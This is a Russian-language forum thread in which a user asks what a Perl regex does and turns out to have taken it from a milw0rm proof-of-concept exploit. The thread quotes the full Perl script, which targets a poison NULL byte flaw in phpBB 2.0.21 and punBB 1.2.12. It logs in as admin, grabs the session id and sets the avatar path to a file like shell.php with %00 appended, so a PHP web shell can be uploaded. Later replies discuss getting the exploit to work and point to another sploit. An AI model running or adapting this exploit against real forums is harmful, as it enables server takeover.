Вопрос по perl

Discussion in 'PHP' started by kubik, 11 Nov 2006.

  1. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    ктонить может мне объяснить что вот это делает -
    $content=~ m/true&sid=([^"]+)"/g;

    как я понимаю m// это функция сравнения... но что значит ([^"]+)" и флаг g?
     
  2. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    эээ ну кароче я сам всё разобрал... кроме флага g
     
  3. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    ([^"]+)" - Поместить в $1 всё до первой двойной кавычки
    флаг g - Продолжить поиск с того места, где остановился в прошлый раз.
     
  4. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    значит получается так ?

    m/true&sid=([^"]+)"/g; ищет строку "true&sid=x" где x как минимум одна литера перед тем как мы найдём ковычку (") ? ну и потом g продолжает всё это дело?
     
    1 person likes this.
  5. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Смотря что у тебя в программе, продолжать оно будет после того как заново поподёт в это или другое регулярное выражение, имеющее флаг g и работающее с этой переменной.
     
  6. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    мммм....это работает (продолжение поиска) только если это выражение в цикле? или просто в лубом другом месте где я его использую на этойже строке?
     
  7. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Я вот не пойму, для чего спрашивать, разьве нельзя установить перл и попробовать?
    Code:
    [color=#00AA00]$text[color=#0000FF]=[/COLOR][/COLOR][color=#FFFF00]'123 456 789'[/COLOR][color=#00AA00][color=#FF0000];[/COLOR]
    $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR]
    [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR]
    $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR]
    [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR]
    $text[color=#0000FF]=[/COLOR]~m[color=#0000FF]/([/COLOR]\d[color=#0000FF]+)/[/COLOR]g[color=#FF0000];[/COLOR]
    [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR][/COLOR]
    Результат
    Code:
    123
    456
    789
     
  8. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    спрашиваю потомучто не знаю что пробывать. чтобы понять....
     
  9. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    вот откуда я это взял -

    Code:
    #!/usr/bin/perl -w
    # Author: ShAnKaR
    # Title: multiple PHP application poison NULL byte vulnerability
    # Applications: phpBB 2.0.21, punBB 1.2.12
    # Threat Level: Critical
    # Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
    # 
    # Poison  NULL  byte vulnerability for perl CGI applications was described
    # in  [1].  ShAnKaR  noted, that same vulnerability also affects different
    # PHP  applications.  An  example of vulnerable applications are phpBB and
    # punBB.
    # 
    # Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
    # server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
    # 
    # In  case  of  phpBB and punBB vulnerability can be exploited by changing
    # location  of avatar file and uploading avatar file with PHP code in EXIF
    # data.
    # 
    # A PoC exploit to change Avatar file location for phpBB:
    # 
    # 
    
    use HTTP::Cookies;
    use LWP;
    use URI::Escape;
    unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
    my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
    $ua->cookie_jar( HTTP::Cookies->new());
    
    $url='http://'.$ARGV[0].'/login.php';
    $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
    my $req = new HTTP::Request 'POST',$url;
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($data);
    my $res = $ua->request($req);
    
    $res=$ua->get('http://'.$ARGV[0].'/login.php');
    $content=$res->content;
    $content=~ m/true&sid=([^"]+)"/g;
    if($ARGV[4]){
    $content=$res->content;
    print $content;
    }
    $url='http://'.$ARGV[0].'/login.php';
    $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
    $req = new HTTP::Request 'POST',$url;
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($data);
    $res = $ua->request($req);
    
    $url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
    $data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
    $req = new HTTP::Request 'POST',$url;
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($data);
    $res = $ua->request($req);
    if($ARGV[4]){
    $content=$res->content;
    print $content;
    }
    
    # milw0rm.com [2006-09-11]
    
    вот я не пойму...как это экспроит может работать? как мне кажется всё что он делает - логинит юзера, берёт его sid идентификатор после и пытается зайти в администрацию с этим сид-ом...

    я поставил себе phpbb2.0.21 и с виртуальной машины запустил этот код...ничего конечно не сработало...ошибка была в том что сид не получался вообще. и так как $content=~ m/true&sid=([^"]+)"/g; именно тот код который его должен получить я хотел спросить чё вообще этот код делать должен
     
  10. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    На самом деле, флаг g там действительно безсмыслен(скорее всего по привычке поставил), а для работы эксплоита, вроди бы надо иметь админские права, тода он установить в путь к аватарам так, чтоб можно было залить шэлл.
     
  11. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    я же выложил нормальный сплойт под эту багу. Юзай его.
     
  12. kubik

    kubik New Member

    Joined:
    10 Nov 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    а где найти? я только milw0rm.com знаю
    я поискал на этом форуме...нашёл тока про то что я там наверху скопировал
     
    #12 kubik, 11 Nov 2006
    Last edited: 11 Nov 2006